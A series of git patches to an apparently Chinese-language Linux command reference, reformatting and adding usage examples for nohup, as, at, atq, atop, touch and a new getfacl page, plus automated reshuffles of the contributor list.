a/command/nohup.md +++ b/command/nohup.md @@ -9,23 +9,24 @@ nohup 无论是否将 nohup 命令的输出重定向到终端，输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写，输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加，那么 command 参数指定的命令不可调用。如果标准错误是一个终端，那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。 -### 语法 +### 语法 +```shell nohup(选项)(参数) +``` -### 选项 +### 选项 ```shell --help：在线帮助； --version：显示版本信息。 ``` -### 参数 +### 参数 程序及选项：要运行的程序及选项。 -### 实例 - +### 实例 使用nohup命令提交作业，如果使用nohup命令提交作业，那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中，除非另外指定了输出文件： @@ -47,16 +48,38 @@ nohup wget site.com/file.zip nohup ping -c 10 baidu.com ``` -### 最简单的后台运行 +最简单的后台运行 + +```shell nohup command & -### 输出默认重定向到当前目录下 nohup.out 文件 -nohup python main.py & -### 自定义输出文件(标准输出和错误输出合并到 main.log) -nohup python main.py >> main.log 2>&1 & -### 与上一个例子相同作用的简写方法 +``` + +输出默认重定向到当前目录下 nohup.out 文件 + +```shell +nohup python main.py & +``` + +自定义输出文件(标准输出和错误输出合并到 main.log) + +```shell +nohup python main.py >> main.log 2>&1 & +``` + +与上一个例子相同作用的简写方法 + +```shell nohup python main.py &> main.log & -### 不记录输出信息 +``` + +不记录输出信息 + +```shell nohup python main.py &> /dev/null & -### 不记录输出信息并将程序的进程号写入 pidfile.txt 文件中，方便后续杀死进程 -nohup python main.py &> /dev/null & echo $! > pidfile.txt +``` +不记录输出信息并将程序的进程号写入 pidfile.txt 文件中，方便后续杀死进程 + +```shell +nohup python main.py &> /dev/null & echo $! > pidfile.txt +``` \ No newline at end of file From 5b5557f91e2f2d472a1f296fa659c974875e9dc4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:06:33 +0000 Subject: [PATCH 426/570] doc: update README.md. --- README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 32266489134..0cc1ae7f14e 100644 --- a/README.md +++ b/README.md @@ -339,7 +339,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xingwen Zhang Xrtero -hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -353,6 +352,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg +nsnans +hululu1068 huangyao hotdogc1017 gcluffy @@ -368,14 +369,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -chaofan -nsnans -zyimm +oliver 七朔 孤城落寞 尘埃 Wei Xu Loofra +扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -386,7 +386,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 Wendy May Yidan Wang -oliver rexlin600 sfwwslm shc @@ -402,6 +401,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +zyimm +chaofan Mystic MinsonLee Marnm From fc723b6dec1ebe066ab181d22c21b74b91be9481 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:06:34 +0000 Subject: [PATCH 427/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a8d7ec9c534..782e5d82414 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -49,7 +49,6 @@ Shan Chenyu Xingwen Zhang Xrtero -hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -63,6 +62,8 @@ dufu miniwater noodles2hg +nsnans +hululu1068 huangyao hotdogc1017 gcluffy @@ -78,14 +79,13 @@ dayday cxalc Forever121 -chaofan -nsnans -zyimm +oliver 七朔 孤城落寞 尘埃 Wei Xu Loofra +扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -96,7 +96,6 @@ 远方 Wendy May Yidan Wang -oliver rexlin600 sfwwslm shc @@ -112,6 +111,8 @@ zodiac zoomdong zuixin369 +zyimm +chaofan Mystic MinsonLee Marnm From 1f11d8a430781027f9abca93c7ba3106ffe6c235 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:08:55 +0800 Subject: [PATCH 428/570] doc: update command/as.md --- command/as.md | 46 +++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 41 insertions(+), 5 deletions(-) diff --git a/command/as.md b/command/as.md index 622f791b0c3..12578067995 100644 --- a/command/as.md +++ b/command/as.md @@ -5,15 +5,15 @@ as ## 补充说明 -**as命令** GNU组织推出的一款汇编语言编译器，它支持多种不同类型的处理器。 +**as命令** 是GNU组织推出的一款汇编语言编译器，它支持多种不同类型的处理器。 -### 语法 +### 语法 ```shell -as(选项)(参数) +as [选项] [参数] ``` -### 选项 +### 选项 ```shell -ac：忽略失败条件； @@ -33,8 +33,44 @@ as(选项)(参数) --statistics：打印汇编所用的最大空间和总时间。 ``` -### 参数 +### 参数 汇编文件：指定要汇编的源文件。 +### 示例 +编译一个汇编文件并生成目标文件 + +```shell +as -o output.o source.s +``` + +忽略调试指令并生成目标文件 + +```shell +as -ad -o output.o source.s +``` + +生成包含调试信息的目标文件 + +```shell +as -g -o output.o source.s +``` + +包括宏扩展并生成目标文件 + +```shell +as -am -o output.o source.s +``` + +打印汇编所用的最大空间和总时间 + +```shell +as --statistics -o output.o source.s +``` + +跳过空白和注释预处理并生成目标文件 + +```shell +as -f -o output.o source.s +``` \ No newline at end of file From 2a181511e989d95e3f0ec9f802298d65e7d10fe6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:10:44 +0800 Subject: [PATCH 429/570] doc: update command/at.md --- command/at.md | 41 ++++++++++++++++++++++++++++++----------- 1 file changed, 30 insertions(+), 11 deletions(-) diff --git a/command/at.md b/command/at.md index 5b3ca031569..352063efe3a 100644 --- a/command/at.md +++ b/command/at.md @@ -5,17 +5,17 @@ at ## 补充说明 -**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm（小时:分钟）式的时间指定。假如该时间已过去，那么就放在第二天执行。当然也能够使用midnight（深夜），noon（中午），teatime（饮茶时间，一般是下午4点）等比较模糊的 词语来指定时间。用户还能够采用12小时计时制，即在时间后面加上AM（上午）或PM（下午）来说明是上午还是下午。 也能够指定命令执行的具体日期，指定格式为month day（月 日）或mm/dd/yy（月/日/年）或dd.mm.yy（日.月.年）。指定的日期必须跟在指定时间的后面。 +**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm（小时:分钟）式的时间指定。假如该时间已过去，那么就放在第二天执行。当然也能够使用midnight（深夜），noon（中午），teatime（饮茶时间，一般是下午4点）等比较模糊的词语来指定时间。用户还能够采用12小时计时制，即在时间后面加上AM（上午）或PM（下午）来说明是上午还是下午。也能够指定命令执行的具体日期，指定格式为month day（月 日）或mm/dd/yy（月/日/年）或dd.mm.yy（日.月.年）。指定的日期必须跟在指定时间的后面。 -上面介绍的都是绝对计时法，其实还能够使用相对计时法，这对于安排不久就要执行的命令是很有好处的。指定格式为：`now + count time-units`，now就是当前时间，time-units是时间单位，这里能够是minutes（分钟）、hours（小时）、days（天）、weeks（星期）。count是时间的数量，究竟是几天，还是几小时，等等。 更有一种计时方法就是直接使用today（今天）、tomorrow（明天）来指定完成命令的时间。 +上面介绍的都是绝对计时法，其实还能够使用相对计时法，这对于安排不久就要执行的命令是很有好处的。指定格式为：`now + count time-units`，now就是当前时间，time-units是时间单位，这里能够是minutes（分钟）、hours（小时）、days（天）、weeks（星期）。count是时间的数量，究竟是几天，还是几小时，等等。更有一种计时方法就是直接使用today（今天）、tomorrow（明天）来指定完成命令的时间。 -### 语法 +### 语法 ```shell at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...] ``` -### 选项 +### 选项 ```shell -f：指定包含具体指令的任务文件； @@ -25,13 +25,13 @@ at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...] -m：任务执行完成后向用户发送E-mail。 ``` -### 参数 +### 参数 日期时间：指定任务执行的日期时间。 -### 实例 +### 示例 -三天后的下午 5 点锺执行`/bin/ls`： +三天后的下午 5 点钟执行`/bin/ls`： ```shell [root@localhost ~]# at 5pm+3 days @@ -60,10 +60,6 @@ job 8 at 2013-01-06 17:20 删除已经设置的任务： ```shell -[root@localhost ~]# atq -8 2013-01-06 17:20 a root -7 2013-01-08 17:00 a root - [root@localhost ~]# atrm 7 [root@localhost ~]# atq 8 2013-01-06 17:20 a root @@ -80,5 +76,28 @@ umask 22此处省略n个字符 date >/root/2013.log ``` +使用任务文件执行任务： + +```shell +[root@localhost ~]# echo "/bin/ls" > mytask.txt +[root@localhost ~]# at -f mytask.txt 5pm+3 days +job 9 at 2013-01-08 17:00 +``` + +指定任务队列执行任务： +```shell +[root@localhost ~]# at -q b 5pm+3 days +at> /bin/ls +at> +job 10 at 2013-01-08 17:00 +``` +任务执行完成后发送E-mail通知： + +```shell +[root@localhost ~]# at -m 5pm+3 days +at> /bin/ls +at> +job 11 at 2013-01-08 17:00 +``` \ No newline at end of file From d27f05592debd0f09eb43e7011bf9617a1d3db4e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:16:46 +0000 Subject: [PATCH 430/570] doc: update README.md. --- README.md | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 0cc1ae7f14e..32266489134 100644 --- a/README.md +++ b/README.md @@ -339,6 +339,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xingwen Zhang Xrtero +hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -352,8 +353,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -nsnans -hululu1068 huangyao hotdogc1017 gcluffy @@ -369,13 +368,14 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -oliver +chaofan +nsnans +zyimm 七朔 孤城落寞 尘埃 Wei Xu Loofra -扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -386,6 +386,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 Wendy May Yidan Wang +oliver rexlin600 sfwwslm shc @@ -401,8 +402,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -zyimm -chaofan Mystic MinsonLee Marnm From 0ae1a1bc6eee39d0c86b8dda2dbdd0764c7c1bba Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:16:47 +0000 Subject: [PATCH 431/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 782e5d82414..a8d7ec9c534 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -49,6 +49,7 @@ Shan Chenyu Xingwen Zhang Xrtero +hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -62,8 +63,6 @@ dufu miniwater noodles2hg -nsnans -hululu1068 huangyao hotdogc1017 gcluffy @@ -79,13 +78,14 @@ dayday cxalc Forever121 -oliver +chaofan +nsnans +zyimm 七朔 孤城落寞 尘埃 Wei Xu Loofra -扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -96,6 +96,7 @@ 远方 Wendy May Yidan Wang +oliver rexlin600 sfwwslm shc @@ -111,8 +112,6 @@ zodiac zoomdong zuixin369 -zyimm -chaofan Mystic MinsonLee Marnm From b1272c9afbdbebabd3714be6ba8d85fa49a7db2a Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:18:27 +0800 Subject: [PATCH 432/570] doc: update command/atq.md --- command/atq.md | 38 ++++++++++++++++++++++++++++++++------ 1 file changed, 32 insertions(+), 6 deletions(-) diff --git a/command/atq.md b/command/atq.md index ae1ad20ddd5..5fd86e76812 100644 --- a/command/atq.md +++ b/command/atq.md @@ -7,30 +7,56 @@ atq **atq命令** 显示系统中待执行的任务列表，也就是列出当前用户的at任务列表。 -### 语法 +### 语法 ```shell atq [-V] [-q 队列] [-v] ``` -### 选项 +### 选项 ```shell -V：显示版本号； -q：查询指定队列的任务。 ``` -### 实例 +### 示例 + +创建一个在10分钟后执行的任务，并列出当前用户的任务列表： ```shell -at now + 10 minutes +[root@localhost ~]# at now + 10 minutes at> echo 1111 -at> +at> job 3 at Fri Apr 26 12:56:00 2013 +``` -atq +使用`atq`命令查看当前用户的任务列表： + +```shell +[root@localhost ~]# atq 3 Fri Apr 26 12:56:00 2013 a root ``` +查询指定队列的任务： +```shell +[root@localhost ~]# at -q a now + 10 minutes +at> echo "Task in queue a" +at> +job 4 at Fri Apr 26 13:06:00 2013 +``` +使用`atq`命令查看队列`a`中的任务： + +```shell +[root@localhost ~]# atq -q a +4 Fri Apr 26 13:06:00 2013 a root +``` + +显示`atq`命令的版本号： + +```shell +[root@localhost ~]# atq -V +atq (GNU at) 3.1.20 +``` \ No newline at end of file From 69890bc63e856ae264dd02fafd926a3d3821dac8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 21 Dec 2024 19:20:18 +0800 Subject: [PATCH 433/570] doc: update command/atop.md --- command/atop.md | 62 +++++++++++++++++++++++++++++++------------------ 1 file changed, 40 insertions(+), 22 deletions(-) diff --git a/command/atop.md b/command/atop.md index a33cf5ab340..0b5535f1f10 100644 --- a/command/atop.md +++ b/command/atop.md @@ -5,26 +5,32 @@ atop ## 补充说明 -[非内部程序，需要安装]它以一定的频率记录系统的运行状态，所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况，并能以日志文件的方式保存在磁盘中，服务器出现问题后，我们可获取相应的atop日志文件进行分析。atop是一款开源软件，我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 +**atop命令** 是一款开源的系统监控工具，它以一定的频率记录系统的运行状态，采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况，并能以日志文件的方式保存在磁盘中。服务器出现问题后，我们可获取相应的atop日志文件进行分析。atop是一款开源软件，我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 ## 语法 ```shell -atop(选项)(参数) +atop [选项] [参数] ``` ## 说明 -**ATOP列**：该列显示了主机名、信息采样日期和时间点 +### ATOP列 -**PRC列**：该列显示进程整体运行情况 +该列显示了主机名、信息采样日期和时间点。 + +### PRC列 + +该列显示进程整体运行情况： - sys、usr字段分别指示进程在内核态和用户态的运行时间 - #proc字段指示进程总数 - #zombie字段指示僵尸进程的数量 - #exit字段指示atop采样周期期间退出的进程数量 -**CPU列**：该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况，我们知道CPU可被用于执行进程、处理中断，也可处于空闲状态(空闲状态分两种，一种是活动进程等待磁盘IO导致CPU空闲，另一种是完全空闲) +### CPU列 + +该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况： - sys、usr字段指示CPU被用于处理进程时，进程在内核态、用户态所占CPU的时间比例 - irq字段指示CPU被用于处理中断的时间比例 @@ -33,15 +39,21 @@ atop(选项)(参数) CPU列各个字段指示值相加结果为N00%，其中N为cpu核数。 -cpu列：该列显示某一核cpu的使用情况，各字段含义可参照CPU列，各字段值相加结果为100% +### cpu列 -**CPL列**：该列显示CPU负载情况 +该列显示某一核cpu的使用情况，各字段含义可参照CPU列，各字段值相加结果为100%。 + +### CPL列 + +该列显示CPU负载情况： - avg1、avg5和avg15字段：过去1分钟、5分钟和15分钟内运行队列中的平均进程数量 - csw字段指示上下文交换次数 - intr字段指示中断发生次数 -**MEM列**：该列指示内存的使用情况 +### MEM列 + +该列指示内存的使用情况： - tot字段指示物理内存总量 - free字段指示空闲内存的大小 @@ -49,43 +61,49 @@ cpu列：该列显示某一核cpu的使用情况，各字段含义可参照CPU - buff字段指示用于文件缓存的内存大小 - slab字段指示系统内核占用的内存大小 -**SWP列**：该列指示交换空间的使用情况 +### SWP列 + +该列指示交换空间的使用情况： - tot字段指示交换区总量 - free字段指示空闲交换空间大小 -**PAG列**：该列指示虚拟内存分页情况 +### PAG列 + +该列指示虚拟内存分页情况： + +- swin、swout字段：换入和换出内存页数 -swin、swout字段：换入和换出内存页数 +### DSK列 -**DSK列**：该列指示磁盘使用情况，每一个磁盘设备对应一列，如果有sdb设备，那么增多一列DSK信息 +该列指示磁盘使用情况，每一个磁盘设备对应一列，如果有sdb设备，那么增多一列DSK信息： - sda字段：磁盘设备标识 - busy字段：磁盘忙时比例 - read、write字段：读、写请求数量 -**NET列**：多列NET展示了网络状况，包括传输层(TCP和UDP)、IP层以及各活动的网口信息 +### NET列 -- XXXi 字段指示各层或活动网口收包数目 -- XXXo 字段指示各层或活动网口发包数目 +多列NET展示了网络状况，包括传输层(TCP和UDP)、IP层以及各活动的网口信息： -## atop日志 +- XXXi字段指示各层或活动网口收包数目 +- XXXo字段指示各层或活动网口发包数目 -每个时间点采样页面组合起来就形成了一个atop日志文件，我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢？ +## atop日志 -对于atop日志文件的保存方式，我们可以这样： +每个时间点采样页面组合起来就形成了一个atop日志文件，我们可以使用`atop -r XXX`命令对日志文件进行查看。日志文件的保存方式如下： - 每天保存一个atop日志文件，该日志文件记录当天信息 -- 日志文件以"atop_YYYYMMDD"的方式命名 +- 日志文件以`atop_YYYYMMDD`的方式命名 - 设定日志失效期限，自动删除一段时间前的日志文件 -其实atop开发者已经提供了以上日志保存方式，相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中，我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟)；通过修改以下命令中的数值改变日志保存天数(默认为28天)： +atop开发者提供了以上日志保存方式，相应的`atop.daily`脚本可以在源码目录下找到。在`atop.daily`脚本中，我们可以通过修改`INTERVAL`变量改变atop信息采样周期(默认为10分钟)；通过修改以下命令中的数值改变日志保存天数(默认为28天)： ```shell (sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& ``` -最后，我们修改cron文件，每天凌晨执行atop.daily脚本： +最后，我们修改cron文件，每天凌晨执行`atop.daily`脚本： ```shell 0 0 * * * root /etc/cron.daily/atop.daily @@ -93,4 +111,4 @@ swin、swout字段：换入和换出内存页数 ## 相关资料 -- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) +- [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) \ No newline at end of file From cc8725734644d7b54ad55e602bbf10b8c99d6b26 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:21:12 +0000 Subject: [PATCH 434/570] doc: update README.md. --- README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 32266489134..0cc1ae7f14e 100644 --- a/README.md +++ b/README.md @@ -339,7 +339,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xingwen Zhang Xrtero -hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -353,6 +352,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg +nsnans +hululu1068 huangyao hotdogc1017 gcluffy @@ -368,14 +369,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -chaofan -nsnans -zyimm +oliver 七朔 孤城落寞 尘埃 Wei Xu Loofra +扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -386,7 +386,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 远方 Wendy May Yidan Wang -oliver rexlin600 sfwwslm shc @@ -402,6 +401,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +zyimm +chaofan Mystic MinsonLee Marnm From 065edf179120c3c494f9c49db6a542e27a6f211f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 21 Dec 2024 11:21:13 +0000 Subject: [PATCH 435/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a8d7ec9c534..782e5d82414 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -49,7 +49,6 @@ Shan Chenyu Xingwen Zhang Xrtero -hululu1068 jcdj666 jqz3.tech juemuren4449 @@ -63,6 +62,8 @@ dufu miniwater noodles2hg +nsnans +hululu1068 huangyao hotdogc1017 gcluffy @@ -78,14 +79,13 @@ dayday cxalc Forever121 -chaofan -nsnans -zyimm +oliver 七朔 孤城落寞 尘埃 Wei Xu Loofra +扶苏如是 ReZero 极简XksA 移动的红烧肉 @@ -96,7 +96,6 @@ 远方 Wendy May Yidan Wang -oliver rexlin600 sfwwslm shc @@ -112,6 +111,8 @@ zodiac zoomdong zuixin369 +zyimm +chaofan Mystic MinsonLee Marnm From db88f1b96abf561fb43e6960c2e6b4367f83fdce Mon Sep 17 00:00:00 2001 From: Jeremy2214 <97098763+Jeremy2214@users.noreply.github.com> Date: Thu, 26 Dec 2024 22:09:22 +0800 Subject: [PATCH 436/570] doc: update touch.md (#624) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修正拼写错误，把“更该”，改为“更改” --- command/touch.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/touch.md b/command/touch.md index 37a1a698718..384efbff5e5 100644 --- a/command/touch.md +++ b/command/touch.md @@ -20,7 +20,7 @@ touch(选项)(参数) -c：或--no-create 不建立任何文件； -d：<时间日期> 使用指定的日期时间，而非现在的时间； -f：此参数将忽略不予处理，仅负责解决BSD版本touch指令的兼容性问题； --m：或--time=mtime或--time=modify 只更该变动时间； +-m：或--time=mtime或--time=modify 只更改变动时间； -r：<参考文件或目录> 把指定文件或目录的日期时间，统统设成和参考文件或目录的日期时间相同； -t：<日期时间> 使用指定的日期时间，而非现在的时间； --help：在线帮助； From 43f5dc092158096541fe43765a21b47c32e71359 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 26 Dec 2024 14:10:10 +0000 Subject: [PATCH 437/570] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0cc1ae7f14e..7db5d94c9bc 100644 --- a/README.md +++ b/README.md @@ -384,7 +384,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Kyofin 谢民皆 远方 -Wendy May +bycs Yidan Wang rexlin600 sfwwslm From d4998a1000660bae9572328effbd136e6d350d70 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 26 Dec 2024 14:10:11 +0000 Subject: [PATCH 438/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 782e5d82414..3cd264242ed 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -94,7 +94,7 @@ Kyofin 谢民皆 远方 -Wendy May +bycs Yidan Wang rexlin600 sfwwslm From 36a4edf169ac064f875621ab381fe6580032a07e Mon Sep 17 00:00:00 2001 From: QinShower Date: Sun, 29 Dec 2024 20:45:56 +0800 Subject: [PATCH 439/570] feat: Create getfacl.md (#625) add getfacl --- command/getfacl.md | 49 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 command/getfacl.md diff --git a/command/getfacl.md b/command/getfacl.md new file mode 100644 index 00000000000..fbfb5271ee9 --- /dev/null +++ b/command/getfacl.md @@ -0,0 +1,49 @@ +getfacl +=== + +获取文件访问控制列表(access control lists) + +## 补充说明 + +对于每个文件，`getfacl`都会显示文件名、所有者、组和访问控制列表 (ACL)。如果目录有默认ACL，`getfacl` 也会显示默认ACL。非目录不能有默认ACL。 +如果在不支持 ACL 的文件系统上使用`getfacl`，`getfacl`会显示由传统文件模式权限位定义的访问权限。请参考`setfacl`。 + +### 选项 + +```shell +-a, --access # 显示文件访问控制列表。 +-d, --default # 显示默认访问控制列表。 +-c, --omit-header # 不显示注释头（每个文件输出的前三行）。 +-e, --all-effective # 打印所有有效权限注释，即使与 ACL 条目定义的权限相同。 +-E, --no-effective # 不打印有效权限注释。 +-s, --skip-base # 跳过只有基本 ACL 条目（所有者、组、其他）的文件。 +-R, --recursive # 递归列出所有文件和目录的 ACL。 +-L, --logical # 逻辑路径，跟踪目录的符号链接。默认行为是跟踪符号链接参数，跳过子目录中遇到的符号链接。仅与 -R 结合使用时有效。 +-P, --physical # 物理路径，不跟踪指向目录的符号链接。这也会跳过符号链接参数。 仅与 -R 结合使用时有效。 +-t, --tabular # 使用另一种表格输出格式。同时显示 ACL 和默认 ACL。因 ACL 屏蔽条目而无效的权限会以大写。ACL_USER_OBJ 和 ACL_GROUP_OBJ 条目的条目标签名称也以大写字母显示，这有助于识别这些条目。 +-p, --absolute-names # 不删除前导斜线字符 (`/')。默认行为是去掉前导斜线字符。 +-n, --numeric # 列出数字用户和组 ID。 +-v, --version # 打印 getfacl 的版本并退出。 +-h, --help # 打印命令行选项的帮助说明。 +-- # 命令行选项结束。所有剩余参数都被解释为文件名，即使它们以破折号字符开头。 +- # 如果文件名参数是单破折号字符，getfacl 将从标准输入读取文件列表。 +``` + +### 实例 + +getfacl 命令默认显示文件访问控制列表。打开终端，并输入以下命令： + +```shell +getfacl tmp + +# file: tmp +# owner: zdx +# group: zdx +# flags: -s- +user::rwx +group::rwx +other::r-x +default:user::rwx +default:group::rwx +default:other::r-x +``` From 6603a44cb5e02252ea88a6cb5b44d4d5fa21fede Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 29 Dec 2024 12:46:28 +0000 Subject: [PATCH 440/570] doc: update README.md. --- README.md | 66 +++++++++++++++++++++++++++---------------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index 7db5d94c9bc..3a39ff29e2e 100644 --- a/README.md +++ b/README.md @@ -328,24 +328,25 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. will VVatt gggwvg -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -RichardLCD Dazhuangw Alterem YH -Shan Chenyu -Xingwen Zhang Xrtero -jcdj666 -jqz3.tech -juemuren4449 -kassadin -kid1412621 -leo +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne lewis1573 +leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech +Forever121 linuxwd Ricardowang cole @@ -353,23 +354,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -duzhuoshanwai -dongpohezui -Deny -dayday -cxalc -Forever121 oliver +cxalc +dayday +Deny +dongpohezui +duzhuoshanwai +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 七朔 孤城落寞 尘埃 @@ -402,7 +403,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zoomdong zuixin369 zyimm -chaofan +Q.Ben Zheng Mystic MinsonLee Marnm @@ -418,7 +419,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. LaudOak Karl Horky Nexchard -Jeremy2214 Jack.A.Black Jack Huntout Zhang @@ -434,6 +434,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 +chaofan c2ch brinkqiang bestlaw66 @@ -463,8 +464,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Robigus Rining Wu Ray Yee -QinShower -Q.Ben Zheng +QinShower 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 000517ef32d2b01efb98d58ea9b91f178000c37f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 29 Dec 2024 12:46:28 +0000 Subject: [PATCH 441/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 66 +++++++++++++++++++-------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3cd264242ed..77ec8c5d696 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -38,24 +38,25 @@ will VVatt gggwvg -BingCoke -Ein Verne -FunKeen -Pan, Wen-Ming -RichardLCD Dazhuangw Alterem YH -Shan Chenyu -Xingwen Zhang Xrtero -jcdj666 -jqz3.tech -juemuren4449 -kassadin -kid1412621 -leo +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +Jeremy2214 +BingCoke +FunKeen +Ein Verne lewis1573 +leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech +Forever121 linuxwd Ricardowang cole @@ -63,23 +64,23 @@ 